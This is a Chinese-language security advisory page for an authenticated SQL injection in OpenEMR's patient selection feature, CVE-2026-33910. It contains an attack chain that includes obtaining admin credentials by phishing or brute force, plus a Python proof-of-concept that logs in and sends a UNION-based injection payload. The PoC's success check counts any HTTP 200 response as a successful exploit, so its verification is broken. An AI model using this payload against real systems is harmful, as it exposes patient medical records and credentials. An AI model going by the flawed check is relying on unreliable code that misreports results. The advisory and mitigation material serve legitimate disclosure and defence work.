IPBUF安全漏洞报告
English
CVE-2026-33910 CVSS 7.2 高危

CVE-2026-33910 OpenEMR患者选择SQL注入漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-33910
漏洞类型
SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
OpenEMR

相关标签

SQL注入OpenEMR医疗安全高危漏洞认证后攻击

漏洞概述

OpenEMR是一款免费的开源电子健康记录和医疗实践管理应用。其8.0.0.2及之前版本的患者选择功能中存在SQL注入漏洞。该漏洞源于对用户输入的验证不足,经过身份认证的攻击者可利用此漏洞执行恶意SQL语句,从而窃取敏感数据或破坏数据库完整性。建议用户尽快升级至8.0.0.3版本以修复此问题。

技术细节

该漏洞位于OpenEMR的患者选择功能模块中,根本原因是应用程序在处理后端请求时,未能对用户提交的输入参数实施严格的类型检查和特殊字符过滤。攻击者利用这一缺陷,可以将恶意的SQL片段注入到原本的查询语句中。由于CVSS向量显示攻击需要高权限(PR:H),攻击者必须首先拥有系统的有效认证账户。一旦登录,攻击者可以在患者选择接口的特定参数中注入SQL代码。这种注入攻击允许攻击者操纵数据库逻辑,进而执行任意SQL命令。利用此漏洞,攻击者能够非法获取数据库中的敏感医疗记录和用户凭证,或者篡改、删除关键业务数据,对系统的机密性、完整性和可用性造成严重影响。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统运行的是OpenEMR,且版本在8.0.0.2及以下。
STEP 2
2. 获取凭证
由于漏洞需要高权限,攻击者通过钓鱼或暴力破解获取一个有效的管理员或高权限用户账户。
STEP 3
3. 发起攻击
攻击者使用获取的凭证登录系统,导航至患者选择功能页面,并在输入参数中注入恶意SQL代码。
STEP 4
4. 执行利用
后端数据库执行注入的恶意SQL语句,导致敏感数据泄露或被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://target-openemr.com/openemr/interface/patient_tracker/finding.php" # Attacker credentials (Authentication required) session = requests.Session() login_payload = { "authUser": "admin", "clearPass": "password" } # 1. Login to establish session login_resp = session.post("http://target-openemr.com/openemr/interface/login/login.php", data=login_payload) if login_resp.status_code != 200: print("Login failed") exit() # 2. Prepare SQL Injection payload # Attempting to extract database version via UNION-based SQLi sqli_payload = "1' UNION SELECT 1, version(), 3, 4, 5-- -" # 3. Send malicious request to patient selection feature params = { "patient_id": sqli_payload } exploit_resp = session.get(target_url, params=params) # 4. Verify exploitation if "mysql" in exploit_resp.text.lower() or exploit_resp.status_code == 200: print("[+] Vulnerability exploited successfully!") print("[+] Response snippet:", exploit_resp.text[:200]) else: print("[-] Exploit failed or patched.")

影响范围

OpenEMR <= 8.0.0.2

防御指南

临时缓解措施
如果无法立即升级,应严格限制对OpenEMR系统的网络访问,仅允许可信IP地址连接。同时,建议部署Web应用防火墙(WAF),配置针对SQL注入攻击的规则集,以拦截针对患者选择接口的恶意请求。此外,应加强账户安全策略,强制使用强密码并定期审计高权限账户的活动日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表